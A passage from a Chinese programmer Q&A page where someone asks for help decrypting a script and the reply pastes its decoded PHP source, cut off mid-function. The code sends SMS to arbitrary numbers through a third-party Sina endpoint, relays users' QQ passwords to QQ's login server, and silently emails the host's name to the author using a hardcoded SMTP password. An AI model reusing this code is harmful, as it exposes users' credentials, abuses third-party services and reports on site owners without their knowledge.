欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  后端开发

求解密解决方案

程序员文章站 2022-06-16 08:58:15
...
求解密
由于源码有点长,我传到百度盘了http://pan.baidu.com/s/1o6wLWTW
------解决方案--------------------
include("config.php");
$con=mysql_connect($host_ip,$host_name,$host_pw);
mysql_select_db($host_table,$con);
if(!$con)
{
echo '数据库链接出错';
die;
}
function cl($get_url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_URL,$get_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$pp=curl_exec($ch);
curl_close($ch);
return($pp);
}
function ubb($Text) {
$Text=htmlspecialchars($Text, ENT_QUOTES);
$Text=ereg_replace("\[br\]","
",$Text);
$Text=nl2br($Text);
$Text=stripslashes($Text);
$Text=str_replace("
",'
',$Text);
$Text=preg_replace("/\\t/is"," ",$Text);
$Text=preg_replace("/\[url\](http:\/\/.+?)\[\/url\]/is","\\1",$Text);
$Text=preg_replace("/\[url\](.+?)\[\/url\]/is","\\1",$Text);
$Text=preg_replace("/\[url=(http:\/\/.+?)\](.+?)\[\/url\]/is","\\2",$Text);
$Text=preg_replace("/\[url=(.+?)\](.+?)\[\/url\]/is","\\2",$Text);
$Text=preg_replace("/\[color=(.+?)\](.+?)\[\/color\]/is","\\2",$Text);
$Text=preg_replace("/\[font=(.+?)\](.+?)\[\/font\]/is","\\2",$Text);
$Text=preg_replace("/\[email=(.+?)\](.+?)\[\/email\]/is","\\2",$Text);
$Text=preg_replace("/\[email\](.+?)\[\/email\]/is","\\1",$Text);
$Text=preg_replace("/\[i\](.+?)\[\/i\]/is","\\1",$Text);
$Text=preg_replace("/\[u\](.+?)\[\/u\]/is","\\1",$Text);
$Text=preg_replace("/\[b\](.+?)\[\/b\]/is","\\1",$Text);
return $Text;
}
function send($phone,$msg){
$cn=curl_init();
curl_setopt($cn,CURLOPT_URL,"http://dp.sina.cn/dpool/tools/ctripflight/msg.php?vt=1");
curl_setopt($cn,CURLOPT_USERAGENT," Mozilla/ 5.0(Linux;U;2.2.1;Zh_cn;Desire HD;480*800;)AppleWebKit/528.5 (KHTML) Version/3.1.2/UCWEB7.6.0.75/ 139/999");
curl_setopt($cn,CURLOPT_POST,1);
curl_setopt($cn,CURLOPT_POSTFIELDS,'phone='.$phone.'&msg='.$msg);
curl_setopt($cn,CURLOPT_RETURNTRANSFER,1);
$content=curl_exec($cn);
curl_close($cn);
return $content;
}
function md()
{
$data=mysql_fetch_array(mysql_query("SELECT * FROM baqi_config_data WHERE action='sqmd'"));
if(md5($_SERVER['HTTP_HOST'])!==$data['value'])
{
echo base64_decode("6Z2e5rOV5L2/55So77yB");
include("mail.class.php");
if(!file_exists("send"))
{
$smtpserver = "smtp.qq.com";
$port = "25";
$smtpuser = "[email protected]";
$smtppwd = "baqi123456";
$mailtype = "HTML";
$sender = "[email protected]";
$smtp = new smtp($smtpserver,$port,true,$smtpuser,$smtppwd,$sender);
$to = "[email protected]";
$subject = $_SERVER['HTTP_HOST'];
$body = $_SERVER['HTTP_HOST'];
$send=$smtp->sendmail($to,$sender,$subject,$body,$mailtype);
fopen("send","a+");
}
die;
}
}

function qq()
{
global $out;
if($_POST['yzm'])
{
$post_data = array(
'bid_code=qqchatLogin',
'qq='.$_POST['qq'],
'u_token='.$_POST['qq'],
'hexpwd='.$_POST['hexpwd'],
'sidtype=1',
'hexp=true',
'auto=0',
'loginTitle=家园',
'modifySKey=0',
'q_status=20',
'r='.$_POST['r'],
'loginType=3',
'imgTyp=gif',
'extend='.$_POST['extend'],
'r_sid='.$_POST['r_sid'],
'bid=0',
'login_url=http://pt.3g.qq.com/s?aid=nLogin',
'rip='.$_POST['rip'],
'go_url=http://house60.3g.qq.com/g/my_home.jsp',
'verify='.$_POST['verify']
);
$post_data = implode('&',$post_data);
$url='http://pt.3g.qq.com/handleLogin?vdata=A47CD2903BC8EDEEC7CEE594ACB18F9C';
$ch = curl_init();
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$out=curl_exec($ch);
if(preg_match("/操作异常/",$out))
{
$img=explode('src="',$out);
$img=explode('" alt="',$img[1]);
echo '验证码图:求解密解决方案';
$postgo=explode('